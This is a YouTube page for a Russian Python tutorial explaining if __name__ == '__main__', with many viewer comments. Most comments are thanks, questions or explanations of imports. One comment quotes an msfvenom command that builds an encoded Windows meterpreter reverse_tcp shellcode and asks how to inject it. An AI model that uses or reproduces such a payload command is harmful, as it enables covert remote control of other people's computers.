Вы должны использовать это в Python | if __name__ == '__main__' (Все фишки и ошибки конструкции)

แชร์
ฝัง
  • เผยแพร่เมื่อ 1 ก.ค. 2022
  • ⭐ Курс ООП и Приват канал: www.zproger-school.com/?...
    ⭐ Телеграм канал: t.me/+EeRrfX3jT7QxYzYx
    Как пользоваться if _name_ == "__main__", как это работает, зачем нужно использовать в ваших Python проектах? Все эти вопросы мы рассмотрим в данном видео и также сделаем упор на фишки этой конструкции и основные ошибки, которые допускают новички.
    Многие изначально не понимают для чего именно её применять, так вот в рамках этого видео мы разберем это на самых подробных примерах, вы сможете полностью понять смысл этой конструкции.
    📁 Github: github.com/Zproger
    📁 Все плейлисты с уроками: bit.ly/39GaY89
    📁 Связаться со мной: zproger777@gmail.com
    📁 Поддержать криптовалютой: github.com/Zproger/donate

ความคิดเห็น • 236

  • @robertobokarev439
    @robertobokarev439 ปีที่แล้ว +139

    В двух словах: __name__ это переменная, выводящая имя объекта. Если не используется как атрибут какого-то объекта (class.__name__), а просто в файле (__name__), то выводит имя файла. Если вы импортируете typing, например typing то __name__ этого модуля будет равен "typing". Но если вы запустите в терминале сам этот файл, то его __name__ будет равна "__main__". Другим языком, всё, что под конструкцией if __name__=="__main__" выполнится только если вы запустите это файл.

    • @sergeyalekseev2816
      @sergeyalekseev2816 ปีที่แล้ว +1

      Спасибо!!!!

    • @LeoPlus
      @LeoPlus ปีที่แล้ว

      От души!

    • @LeoPlus
      @LeoPlus ปีที่แล้ว +2

      Ещё бы подсказал как это использовать в телеграмм боте)

    • @lbbMHz
      @lbbMHz ปีที่แล้ว +1

      @@LeoPlus а зачем это использовать в телеграм боте?

    • @kirillchebodaev2244
      @kirillchebodaev2244 ปีที่แล้ว

      Спасибо

  • @wcst6324
    @wcst6324 ปีที่แล้ว +78

    Ну обьяснение для новичка такое себе.... Ты со своей колокольни мб и понимаешь что говоришь, а для новичка всё равно ничего не обьяснил. Что, зачем и почему.
    Ну и чтобы не только критиковать, скажу как я это понял из другого видоса:
    Допустим у нас есть два модуля (2 файла .py)
    Нам для своих целей нужно запустить первый файл из второго, но не сразу, а после определенных действий во втором файле.
    Для этого естественно нам нужно импортировать первый файл во второй.
    Тут и раскрывается особенность конструкции name=main
    Если данную конструкцию не вписать в импортируемый файл(первый).
    То при импорте ПЕРВЫМ делом мы запустим функцию из первого файла, а только потом уже перейдем к коду из второго файла.
    Легче конечно на примере обьяснить, но мб кому-то это поможет

    • @yourcar2389
      @yourcar2389 ปีที่แล้ว +14

      Из твоего объяснения понял больше, чем из видел

    • @zoreyan
      @zoreyan ปีที่แล้ว +5

      Нахрена по твоему новичку знать эту конструкцию, с чего вы взяли что это для новичков? видно же что описание звучит страшно

    • @user-vf4ql8oe3f
      @user-vf4ql8oe3f ปีที่แล้ว

      действительно, понятней, спасибо

    • @user-ue8td8lx5i
      @user-ue8td8lx5i ปีที่แล้ว +2

      а почему нельзя просто прописать import после определенных действий во втором файле, а не сразу? Ведь import как раз таки и исполняет весь код импортируемого файла

    • @RoKivals
      @RoKivals ปีที่แล้ว +2

      @@zoreyan потому что это основа работы с многофайловыми программами, как только ты начнёшь писать хотя бы больше 50 строк, это пригодится. Объяснение в видео реально очень плохое. Запутанно намешано и так далее. Можно было намного проще и понятнее объяснить

  • @user-gz4fx4sv6d
    @user-gz4fx4sv6d ปีที่แล้ว +27

    Спасибо большое. Стал на шаг ближе к пониманию темы.

  • @danielkhatib9472
    @danielkhatib9472 ปีที่แล้ว +3

    Спасибо что помог ускорить понимание данной темы ,по книге читал читал не мог понять, видимо мало примеров

  • @sowt007
    @sowt007 ปีที่แล้ว +1

    Наконец то стало понятно!) Спасибо!

  • @skydsher8942
    @skydsher8942 7 หลายเดือนก่อน

    Очень крутой гайд! Спасибо огромное!

  • @vladyslavpsht6097
    @vladyslavpsht6097 ปีที่แล้ว +6

    Автору респект, я начал только учить C# ( ну вот прям совсем только, строки короче ))) и прям понял про что он, чувствую на будущее прям маст хэв к применению... Руки чешутся писать ;)

    • @zproger
      @zproger  ปีที่แล้ว +3

      Значит надо продолжать =)

  • @lonesome2702
    @lonesome2702 ปีที่แล้ว +2

    Хоть и не особо разбираюсь в программировании, но после переслушивания и пересматривания стало понятнее, почему это используют

  • @fedorivanov8420
    @fedorivanov8420 ปีที่แล้ว +49

    Полного понимания не появилось) Я так размечаю точку входа и все. И в чужом коде ищу эту точку, чтобы понять откуда начинать.

    • @rokot
      @rokot ปีที่แล้ว +4

      Мне кажется, это только в команде (где твориться сущий беспорядок) даёт понять другим программистам, что программа не модуль.

    • @deroteron
      @deroteron ปีที่แล้ว +5

      Подмечу что этот комментарий был проигнорирован, и автор отвечает только тем кто понял, по типу "пожалуйста" "рад помочь"
      и т.д.

    • @zproger
      @zproger  ปีที่แล้ว +5

      Можно и так делать. Понимание придет уже на практике и во время экспериментов. Я попытался объяснить максимально просто, но всё равно без проработки это нельзя понять сразу

    • @zproger
      @zproger  ปีที่แล้ว +4

      Отвечаю всем, но не сразу, так как много приходит комментариев с разных видео =)

  • @elnurbda
    @elnurbda ปีที่แล้ว +3

    Большое спасибо за видеоролик!

  • @intermilan7011
    @intermilan7011 9 หลายเดือนก่อน

    Благодарю за ваш труд❤

  • @SkveerBoy
    @SkveerBoy ปีที่แล้ว +6

    Полезное видео спасибо )

    • @zproger
      @zproger  ปีที่แล้ว

      Рад что понравилось =)

  • @Mr.Alex_fps
    @Mr.Alex_fps ปีที่แล้ว +1

    Спасибо, хорошо объяснил! Вот тебе коммент для поддержки)

    • @zproger
      @zproger  ปีที่แล้ว

      Благодарю!

  • @gy4fi_k766
    @gy4fi_k766 8 หลายเดือนก่อน

    Ты лучший, сидел 2 часа мучился с проблемой, когда импортировал свой код он автоматически начинал запускаться. В итоге все приводило к циклическому импорту)

  • @ViktorTolmachev
    @ViktorTolmachev ปีที่แล้ว +1

    Спасибо за видео!
    А я не раз замечал, что эту конструкцию использую одновременно с ООП, что ещё более запутывает, так как подход там не такой, как пишут в учебниках.

  • @RuslanKorchagin
    @RuslanKorchagin ปีที่แล้ว +6

    if __name__ == "__main__": Использую, для тестов библиотеки. Т.е. если я пишу библиотеку, но хочу ее протестировать, я просто в ифмэйннейм прописываю тесты функций библиотеки и запускаю библиотеку как программу. Второе, это экранирование в случае многопоточности. При вызове дочернего процесса нельзя запускать повторно код основного процесса и для этого его и помещают в ифнейммэйн

  • @ruslantarasevich3727
    @ruslantarasevich3727 ปีที่แล้ว

    Привет! Спасибо за видеоролики. А есть у Питона библиотеки для dsp или fpga?

  • @TheAgressor13
    @TheAgressor13 2 หลายเดือนก่อน +1

    Спасибо, наконец-то понял

  • @ItsGame228
    @ItsGame228 ปีที่แล้ว +1

    Как я понял, это нужно для того что бы понять модуль это или нет. Если это модуль, мы не запускаем основную функцию main() ( entry point ). Если запускаем это как основной файл, мы выполняем все что стоит после If name = main. Сделано для того что бы случайным образом не помешали выполнению кода, так как все переменные будут глобальные, то есть если в первом файле i = 5 то во втором i = 6, и тогда уже первая переменная будет равна второй, потому что присвоили новое значениe

  • @PersonalTradingDiary
    @PersonalTradingDiary ปีที่แล้ว

    Немного не понял, если импортировать модуль с проверкой if __ name__ == '__main__'. То будет ли импортирована функция main() из модуля? Если да, то как это всё будет работать когда в основном скрипте так-же весь код будет обёрнут в функцию main() с вышеописанной проверкой, будут ли какие-то конфликты разных функций main()? Или просто функция из основного скрипта будет всегда перезаписывать импортируемые функции main() из возможных модулей?

  • @5vFreeNz
    @5vFreeNz ปีที่แล้ว +2

    Спасибо!

  • @twincc8901
    @twincc8901 ปีที่แล้ว +1

    Тоисть if name = main позволяет импортировать функции из кода в другой код я так понел? И даёт возможность смотреть где функция находиться в в main классе или в каком-то другом

  • @flamingastheburning164
    @flamingastheburning164 ปีที่แล้ว +17

    Пишу на срр, не питонист, вскользь с ним сталкивался только, но для общего развития было весьма интересно, подача хорошая. А ко не понял сразу - поймут только опытом и практикой, это не редкость, что суть материаь доходит только через опыт и повторение)

  • @freshmotion5401
    @freshmotion5401 ปีที่แล้ว +2

    Интересное видео... не нашла в инете.можно ли в принципе посмотреть код любого бота ..например в телеграмме?

    • @zproger
      @zproger  ปีที่แล้ว

      Напрямую в телеграмм нельзя)

  • @andrewkrivoshein123
    @andrewkrivoshein123 ปีที่แล้ว

    Спасибо

  • @artyombelash6928
    @artyombelash6928 ปีที่แล้ว +1

    классное видео, все понятно)
    скажи пожалуйста тему для пайчарма, которую используешь, очень понравилась)

    • @zproger
      @zproger  ปีที่แล้ว +1

      либо Dracula либо Github Dark

    • @artyombelash6928
      @artyombelash6928 ปีที่แล้ว

      @@zproger спасибо)

  • @niva622
    @niva622 ปีที่แล้ว

    Спасибо тебе добрый человек, вместе мы становимся лучше)

  • @_Kruzo_
    @_Kruzo_ 8 หลายเดือนก่อน +1

    Спасибо автору за труды, он хороший программист, но объяснять материал увы, не его конек😊

  • @fahrenheit1863
    @fahrenheit1863 ปีที่แล้ว

    А если при импорте переопределяться сама функция _main_ .

  • @karkozov
    @karkozov ปีที่แล้ว +1

    -никто не уйдёт не поняв, я подготовил много примеров
    *называет файл main чтоб объяснить, что такое **__main__*
    -сейчас тут все запутано, потому что файл называется main 😂

  • @user-rs8vv8ox5o
    @user-rs8vv8ox5o ปีที่แล้ว +2

    Что за ОС и оболочку используешь?

    • @zproger
      @zproger  ปีที่แล้ว +1

      Zorin OS

  • @MR-gz7pl
    @MR-gz7pl ปีที่แล้ว +1

    Ты самый топовый чувак )

    • @zproger
      @zproger  ปีที่แล้ว

      Спасибо, это мотивирует 🙂

  • @Hekysei
    @Hekysei 9 หลายเดือนก่อน

    Ку.
    Точно могу сказать, что ролик полезный, особенно для новичков вроде меня. Большое спасибо.
    Также хочу узнать, какую ось использует автор?

    • @zproger
      @zproger  9 หลายเดือนก่อน

      Благодарю, тут Zorin OS, в новых видео Arch Linux

    • @Hekysei
      @Hekysei 9 หลายเดือนก่อน

      @@zproger понял, спасибо. Можно узнать причину перехода с Zorin на Arch?

  • @r_computer
    @r_computer ปีที่แล้ว

    Вопрос не по теме: а какой у Вас Линукс на видео? Выглядит красиво

  • @Karaku228
    @Karaku228 ปีที่แล้ว +2

    Накидайте мужику лайков за старания, чего вы жмотитесь, люди.

    • @zproger
      @zproger  ปีที่แล้ว +2

      Спасибо 🥰

  • @andreykuznetsov8096
    @andreykuznetsov8096 ปีที่แล้ว +3

    А почему меня должно волновать, что кто-то пытается запустить модуль? Ну пусть запускает, мне то что?

    • @zproger
      @zproger  ปีที่แล้ว

      Если вы написали библиотеку а кто-то запускает её напрямую, то нужно как правило выполнить другой код, а тут надо понимать как именно софт был запущен.

  • @saga5367
    @saga5367 ปีที่แล้ว +2

    Можно узнать что за плагин с такой цветокоррекцией?

    • @zproger
      @zproger  ปีที่แล้ว

      Github dark

    • @saga5367
      @saga5367 ปีที่แล้ว

      @@zproger благодарю

  • @goshaposhlyy
    @goshaposhlyy ปีที่แล้ว +4

    Спасибо большое тебе , лучшее объяснение

    • @zproger
      @zproger  ปีที่แล้ว

      Благодарю!

    • @rokot
      @rokot ปีที่แล้ว

      Если честно, я так и не понял. Я услышал, что это правило хорошего тона. Позволяет другим программистам понять, что это не модуль. Выявить ошибку, если на линуксе делаешь бесконечные циклы.

    • @zproger
      @zproger  ปีที่แล้ว +2

      Это не перевод, не нужно говорить то, чего не знаете!

  • @user-eb2tx3ev1m
    @user-eb2tx3ev1m ปีที่แล้ว

    А меня одного смутило, что в примере if _name_ ОДИН знак равно, а не два, однако PyCharm не выдал ошибку? Или это не влияет на работу программы?

    • @maroon6439
      @maroon6439 7 หลายเดือนก่อน

      у него просто оформление такое, знаки сливаются(Как и с __name__, там дублируется нижнее подчёркивание)

  • @shimoda47
    @shimoda47 ปีที่แล้ว

    Я впервые столкнулся с if __name__=="__main__" когда начал работать с потоками. Потому что они без этой строчки не работают. Но теперь я не знаю как заставить их работать не в отдельном скрипте, а как раз как библиотека потому что выполняя из другого скрипта там уже name не main

    • @user-lv1le3oq6c
      @user-lv1le3oq6c ปีที่แล้ว +1

      Если как модуль, if __name__ != "__main__"

  • @master8920
    @master8920 ปีที่แล้ว +1

    спс ролик нужный, продолжай 🔥🔥🔥

    • @zproger
      @zproger  ปีที่แล้ว

      Благодарю!

  • @Anshegar
    @Anshegar ปีที่แล้ว

    Как ты с помощью этого цикл импорта исправишь? Циклы импорта исправляются по другому.
    Пока для данной концструкции вижу только 2 применения, это показать точку входа и задавать уникальные , так сказать резервные, точки входа для уникальных редких задач. (обычно когда проект большой и строится из разных малых подпроектов)

  • @walcermelodia
    @walcermelodia ปีที่แล้ว +1

    Как сделать нижнне подчеркивание ровным в pycbarm'е? У меня просто if __main__ ... выглядит, прямо как в названии видео :(

    • @user-we4ip7mb7w
      @user-we4ip7mb7w ปีที่แล้ว +1

      Ничего не понял, но попробуй поменять тему в настройках, она вместе с шрифтом меняется

    • @zproger
      @zproger  ปีที่แล้ว

      Оно так по дефолту в плагине MaterialUI

  • @Himera1983
    @Himera1983 3 หลายเดือนก่อน

    после слов точка входа , значения и глобал я перстал что то понимать . поздравляю все ушли без понимания

  • @polukrovka3457
    @polukrovka3457 4 หลายเดือนก่อน

    а как таую ошибку в пай чарме исправить

  • @user-tr9to7sn4l
    @user-tr9to7sn4l 26 วันที่ผ่านมา

    Спросил у chat GPT получил короткий, понятный ответ с примерами.

  • @kirillmelnikov7846
    @kirillmelnikov7846 ปีที่แล้ว

    лайк++
    а что по IDE ? Давно не видел свежих срачей по поводу, что сейчас модно и правильно? Сам nvim использую вообще.
    как LSP завезли так всё стало +/- одинаково...

    • @Slavasil
      @Slavasil ปีที่แล้ว

      ну неовим енто не идэ)

  • @user-ik2zl5hx5o
    @user-ik2zl5hx5o ปีที่แล้ว +2

    Тема не для новичков. С третьего раза понял. Спасибо

    • @zproger
      @zproger  ปีที่แล้ว

      Главное что поняли, это важно =)

  • @mlr__roal_6867
    @mlr__roal_6867 8 หลายเดือนก่อน

    У меня проблема - хочу запускать процесс из библиотеки!!! А под виндовсом это не работает!

  • @kozsv
    @kozsv ปีที่แล้ว +6

    Очень интересно ннп, смотрю уже у второго про это найм Майн, чуть лучше но один фиг смутно всё

    • @zproger
      @zproger  ปีที่แล้ว

      Вроде всё достаточно просто

    • @roazanas
      @roazanas ปีที่แล้ว +1

      Ну во-первых, это просто декоративно, легче понять где начинается сама программа.
      Во-вторых, если ты будешь писать программу, например, для разных видов сортировок и оформишь её через функции, то сможешь в той же программе сделать тесты через if name main, где вызовешь все функции.
      Тогда при основном запуске программы, ты будешь тестировать сортировки, а при импорте из другой программы использовать функции, при этом не вызывая тест-кейсы

    • @evgenkeba1656
      @evgenkeba1656 ปีที่แล้ว

      Вот, вот, точно так же и у меня! Посмотрел много роликов, но так до конца и не понял!

    • @perf2.078
      @perf2.078 ปีที่แล้ว

      В общем, есть кусок кода. Если он основной файл, то выполняется всё (точнее то, что определено в функции main или какой-ещё явно указанной после разбираемой конструкции). Но этот же файл можно импортировать в другой файл через import, и тогда это будет уже библиотека, и из первого файла можно не всё брать, а только те функции, которые нужны для другого файла. Ну и переменные будут отличаться, как сказано в конце.

    • @bratka4636
      @bratka4636 ปีที่แล้ว

      @@roazanas читаю ..... вроде понятно, понимаю потом что ничего не понятно)))) за запуск как модуля я понял что код не будет выполнен так как нету условия(нейм) а за точку запуска ничего не понял.... но это пока что

  • @pavelgs7725
    @pavelgs7725 ปีที่แล้ว +2

    Подскажи пожалуйста, какая у тебя стоит тема в pycharm

    • @zproger
      @zproger  ปีที่แล้ว +1

      Github dark

    • @pavelgs7725
      @pavelgs7725 ปีที่แล้ว

      @@zproger Спасибо

  • @dazdess
    @dazdess ปีที่แล้ว +2

    Вопрос, чем __main__ отличается от __init___? Я понимаю что __init__ это конструктор. Но чем она логически отличается?

    • @YuraSamusenko
      @YuraSamusenko ปีที่แล้ว +2

      __init__, как вы уже поняли, я смотрю, это конструктор класса, который автоматически исполняется при создании нового экземпляра класса, и в котором происходит инициализация переменных класса(вроде как правильнее их называть поля класса). __main__ это не имя переменной или чего-либо в программе, а имя самого файла скрипта, если запустить его. Как выше приводят примеры, если вывести значение __name__ в файле, из которого импортируется функция или объект, то __name__ будет равен имени файла. А если вывести значение непосредственно в файле, то будет значение "__main__"

  • @ForseNight
    @ForseNight 9 หลายเดือนก่อน

    Короче прикол в том что это как общая черта всех языков, почти везде есть буква а в алфавите, но там где её нет было бы хорошо хобы уметь её произносить. Наверное для взаймопонимания или хз, традиция проще говоря, это уже связано не с языком программирования, а с нами. Наверное надо C++ подучить чтоб понять лучше в чём дело.

  • @user-kh5vi4yi5t
    @user-kh5vi4yi5t 9 หลายเดือนก่อน

    Всё мозги разбил на части, всё извилины заплел

  • @ryu8777
    @ryu8777 ปีที่แล้ว +1

    Ничего непонятно, но очень интересно

  • @sergsangels
    @sergsangels ปีที่แล้ว

    Бубу бубубубубубу приходиться нажимать паузу или медленнее говорилку, следующее видео записуй на х4 для людей с высоким IQ , можно было сказать что делаем функцию main и пишем туда весь код как в любом языке и все, но небольшие скрипты можно и без main писать, это может делать python в отличие от других языков.

  • @justforfun-yc4xz
    @justforfun-yc4xz ปีที่แล้ว +1

    Куда же без функции для хака Пентагона 😁

    • @zproger
      @zproger  ปีที่แล้ว

      Вот и я о том же :D

  • @user-nh9gn2ql8x
    @user-nh9gn2ql8x ปีที่แล้ว +1

    Объяснение очень интересное, но я хочу уточнить небольшие детали.
    К примеру, я создаю файл "renders_text_color.py", записываю туда все функции по рендерингу текста в определенных сценах игры, а в конце кода добавляю:
    if __name__ == '__main__':
    pass
    А в другом файле я импортирую "from renders_text_color import *" прописываю сцены, и в каждой сцене я беру функцию и импортированного файла для отображения текста.
    А теперь вопрос:
    1. Стоит ли мне установить какое-либо действие вместо "pass", если я собираюсь в том файле хранить только функции для использования в основном коде?
    2. И что будет происходить в основном коде, если я буду указывать функцию из того файла в определенных сценах, но в том файле не пропишу эти две строчки?
    P.S.
    Я в программировании еще новичок, образование по программировании не имею, английским владею только на 30 из 100 баллов.
    Буду раз, если сможете мне объяснить так, чтоб даже дурак понял.

    • @iliyasone
      @iliyasone ปีที่แล้ว

      ничего не будет, вообще не нужно писать тогда эти 2 строчки.

  • @artembagachkov933
    @artembagachkov933 ปีที่แล้ว

    Одна строка, а столько смысла

  • @pinfold3201
    @pinfold3201 ปีที่แล้ว

    все не могу привыкнуть к f"", как же приучить то себя

  • @luispakvard5681
    @luispakvard5681 ปีที่แล้ว +2

    А вы делали инъекцию шел кода? потому что я сделал все как в книге "Gray Hat Python" а у меня совсем не работает у меня Python 3.8.9 . Я генерю шелкоды через msfvenom который в Kali Linux на флешке
    как то так msfvenom -p windows/x64/meterpreter/reverse_tcp EXITFUNC=thread lhost= lport=6982 -b '\x00\x0a\x0d' --encrypt base64 -f c там еще нужно заменить айпи адрес скриптом через replace а я не знаю как это сделать если шелкод закодирован

    • @zproger
      @zproger  ปีที่แล้ว

      Это сильно зависит от архитектуры и прочих факторов. Читал эту книжку и пробовал делать примеры, правда там есть тонкости и надо ассемблер понимать хотя бы на базовом уровне.

    • @luispakvard5681
      @luispakvard5681 ปีที่แล้ว

      ​@@zproger А если я устанавливаю pyenvом другую версию питона и pyenv local 2.5.1, а потом создаю новое виртуальное окружение python -m venv mynewenv то мне приходиться менять вручную настройки в pyvenv.cfg и activate.bat потому что оно не подхватывает настройки новоустановленного питона и взяло PYTHONPATH из системных переменных установленного питона на диске C так и должно быть?

  • @MRjakAE
    @MRjakAE ปีที่แล้ว +1

    Хорош

    • @zproger
      @zproger  ปีที่แล้ว

      Спасибо =)

  • @user-iy3yo2wt1n
    @user-iy3yo2wt1n ปีที่แล้ว +1

    Четко 👍

    • @zproger
      @zproger  ปีที่แล้ว

      Спасибо =)

  • @greatgoltz
    @greatgoltz ปีที่แล้ว +1

    У вас ник с чем связан? А то видос смотрю, но терзают смутные сомнения

    • @zproger
      @zproger  ปีที่แล้ว +1

      Точно не с политикой) нику 3 года

  • @sariya271
    @sariya271 ปีที่แล้ว +1

    что за тема в чарме?

    • @zproger
      @zproger  ปีที่แล้ว +1

      github dark

  • @Dav1dBlaine
    @Dav1dBlaine หลายเดือนก่อน

    как новичок нихуя не понял но было интересно.

  • @user-lp8ng3kp4c
    @user-lp8ng3kp4c ปีที่แล้ว +1

    Что за дистрибутив и рабочее окружение?

    • @zproger
      @zproger  ปีที่แล้ว

      Zorin OS

  • @OasisWordLessons
    @OasisWordLessons ปีที่แล้ว +1

    До просмотра мало что было понятно . После просмотра и то что знал забыл.

  • @user-cb1uo7oc3c
    @user-cb1uo7oc3c ปีที่แล้ว +1

    Очень интересно, но пока я все равно не понял ничего =))

    • @zproger
      @zproger  ปีที่แล้ว

      Что именно не понятно?

  • @twiiiitweee7977
    @twiiiitweee7977 ปีที่แล้ว +3

    Сделай уроки по самоё крутой настройке PyCharm пожалуйста

    • @zproger
      @zproger  ปีที่แล้ว

      На канале есть такое видео, но возможно скоро сделаю более полное и крутое

  • @Tosha.V
    @Tosha.V ปีที่แล้ว +1

    функция хака пентагона)))

    • @zproger
      @zproger  ปีที่แล้ว

      😎😎

  • @PLAYCHANIN
    @PLAYCHANIN ปีที่แล้ว +2

    Ты сказал что никто не уйдёт отсюда ничего не поняв, но я нихрена не понял ((

    • @zproger
      @zproger  ปีที่แล้ว

      Как так :0

  • @rokot
    @rokot ปีที่แล้ว +8

    Насколько я понял, это как в фотошопе, ты можешь рисовать всё на одном слое, но потом тяжело что-то править, а можешь создавать отдельные слои под каждый элемент и потом легко всё править.

    • @zproger
      @zproger  ปีที่แล้ว

      Если конструкция используется для повторного использования, то есть подразумевает что файл будут импортировать, то да. Можно поставить заглушку и потом повторно использовать уже написанный ранее код.

  • @Zhuravskiy
    @Zhuravskiy ปีที่แล้ว +5

    никогда не используйте import *, везде и все об этом пишут, а тут все примеры с import *

    • @overkkk9007
      @overkkk9007 ปีที่แล้ว

      А почему?

    • @DarkRootChannel
      @DarkRootChannel ปีที่แล้ว

      @@overkkk9007 Может возникнуть конфликт переменных из-за одинаковых названий

  • @user-de8io3zp8m
    @user-de8io3zp8m ปีที่แล้ว +3

    Крутой и полезный видос, автору спасибо). if __name__ == "__main__": like_video()

    • @zproger
      @zproger  ปีที่แล้ว +1

      Благодарю =)

  • @Alex-ho8ke
    @Alex-ho8ke ปีที่แล้ว +1

    Получается ифнейммейн это в каком то смысле автоматическое наследование файла?

    • @zproger
      @zproger  ปีที่แล้ว

      Не совсем. Но если Вы захотите, то можете использовать его и так. Тут главное понимать когда файл запускается как основной и когда импортируется в другую программу как модуль. А дальше уже выполняйте любой код, в зависимости от результата

  • @smgbdr4338
    @smgbdr4338 ปีที่แล้ว

    Спасибо, но грустно смотреть очередное видео, где автор говорит, что поймёт каждый, а ты без людей в комментариях реально не разберёшься

  • @user-es7oe8rp8u
    @user-es7oe8rp8u ปีที่แล้ว +1

    Работал с потоками и без этой строчки получилась бесконечная неявная рекурсия

    • @zproger
      @zproger  ปีที่แล้ว +1

      Это да

  • @logic4519
    @logic4519 ปีที่แล้ว +1

    не в каждом языке так, в lua так же как в python

    • @zproger
      @zproger  ปีที่แล้ว

      Да, в скриптовых языках такое в основном

  • @latinic8674
    @latinic8674 ปีที่แล้ว +1

    Пожалуйста, укажи источник в описании
    th-cam.com/video/g_wlZ9IhbTs/w-d-xo.html
    но про глобальные переменные в модуле немного новое узнал

    • @zproger
      @zproger  ปีที่แล้ว

      Я не копировал это видео, у меня оно совершенно другое

    • @latinic8674
      @latinic8674 ปีที่แล้ว

      @@zproger по структуре похожие просто

    • @zproger
      @zproger  ปีที่แล้ว

      Ну оно по структуре почти у всех похоже, потому что о конструкции особо ничего нового и не расскажешь

  • @binancetraider658
    @binancetraider658 ปีที่แล้ว +1

    Круто

  • @alexandermartin5694
    @alexandermartin5694 ปีที่แล้ว

    Ничего бы не понял, если бы не знал.
    Для тех кто не знал и не понял:
    Если не изменяет память, так как выражение не использую в своих программах, а со временем просто забываются такие вещи, всё, что стоит под этим выражением, не может использоваться для импорта в других файлах.

  • @MilcFord
    @MilcFord หลายเดือนก่อน

    Не пому понять до конца эту тему. И тут тоже не приблизился к полному понимаю.

  • @bomboklaa
    @bomboklaa ปีที่แล้ว +1

    Какая тысяча лайков? 10 тысяч

    • @zproger
      @zproger  ปีที่แล้ว +1

      было бы круто =)

  • @no-user-found
    @no-user-found หลายเดือนก่อน

    Наврал.
    Я привык пользоваться
    if __name__ == '__main__':
    code
    и, думал, мне наконец объяснят здесь чем она хуже чем
    def main():
    code
    if __name__ == '__main__':
    main()
    Но я всё ещё не чувствую дополнительного профита

    • @Majohne
      @Majohne 14 วันที่ผ่านมา

      Так принято

  • @avirt7750
    @avirt7750 ปีที่แล้ว +1

    Я понял с момента 7:00

    • @zproger
      @zproger  ปีที่แล้ว +1

      Отлично

  • @lmaootakedh
    @lmaootakedh ปีที่แล้ว +2

    перезалив?

    • @zproger
      @zproger  ปีที่แล้ว +1

      Не, старое видео было очень короткое и многие говорили что я не до конца раскрыл эту тему + многие не поняли зачем. Решил в этот раз сделать максимально понятно и затронуть каждую мелочь.

  • @meltoroun
    @meltoroun ปีที่แล้ว +1

    У Вас gnome? :)

    • @zproger
      @zproger  ปีที่แล้ว

      Это стандартная оболочка от Zorin OS

  • @luckytima2315
    @luckytima2315 ปีที่แล้ว +1

    Почему все ещё Зорин :p

    • @zproger
      @zproger  ปีที่แล้ว

      Идеально подходит для видео

  • @DUB-bm9tq
    @DUB-bm9tq 12 วันที่ผ่านมา

    Надеялся, что это видео после 4-ёх лет разработки убедит меня использовать точку входа Python, но только лишний раз понял, что на моей практике ни разу не пригодилось.

  • @user-yo7qq4od2j
    @user-yo7qq4od2j ปีที่แล้ว +1

    Спасибо за видео, но ты что-то быстро так говоришь. 😢

    • @zproger
      @zproger  ปีที่แล้ว

      Стараюсь контролировать скорость речи, но не получается.
      Говорю как можно медленней, потом смотрю запись а там все 200 бпм.

    • @user-yo7qq4od2j
      @user-yo7qq4od2j ปีที่แล้ว

      @@zproger все равно спасибо, ты - Гуру.

  • @user-ux4vq4tp5k
    @user-ux4vq4tp5k ปีที่แล้ว

    Ни чего не понятно. Не прочитав ни одной книги полностью, задам вопрос. Есть 2 файла: program и functions. Первый это основной и главный файл, второй это набор функций. Импортируем func в prog и вызываем из него в нужном месте нужные функции так: functions.имяфункции(). Или я что то не так понял?

  • @ilyabogdanov1121
    @ilyabogdanov1121 ปีที่แล้ว

    Ребят, нужна небольшая помощь, мне надо на пайтоне написать автоустановщик приложения git, как это сделать, какую библиотеку нужно использовать.
    Недавно начал изучать пайтон, интересный язык, но ещё много чего не знаю о нём…

  • @goodwin_for_you
    @goodwin_for_you ปีที่แล้ว +2

    Всё равно непонятно, не хватает подробного разбора примеров.

    • @zproger
      @zproger  ปีที่แล้ว

      Так а какие примеры? В реальных проектах просто заглушка вставляется и всё

  • @VictoryStep
    @VictoryStep 12 วันที่ผ่านมา

    на середине я уснул.

  • @tupabantv8024
    @tupabantv8024 ปีที่แล้ว +1

    Понятно

    • @zproger
      @zproger  ปีที่แล้ว

      Круто =)

  • @develper2
    @develper2 ปีที่แล้ว +1

    Like

  • @mrkrepish8579
    @mrkrepish8579 ปีที่แล้ว +1

    Ничего не понял

  • @evgenkeba1656
    @evgenkeba1656 ปีที่แล้ว +1

    Не понял...

    • @zproger
      @zproger  ปีที่แล้ว

      Тут только практика поможет =)

    • @evgenkeba1656
      @evgenkeba1656 ปีที่แล้ว

      @@zproger при чем практика на реальном проекте!

  • @pcbuild4282
    @pcbuild4282 ปีที่แล้ว

    Только запутал, на середине ролика вырубил ибо начал терять смысл.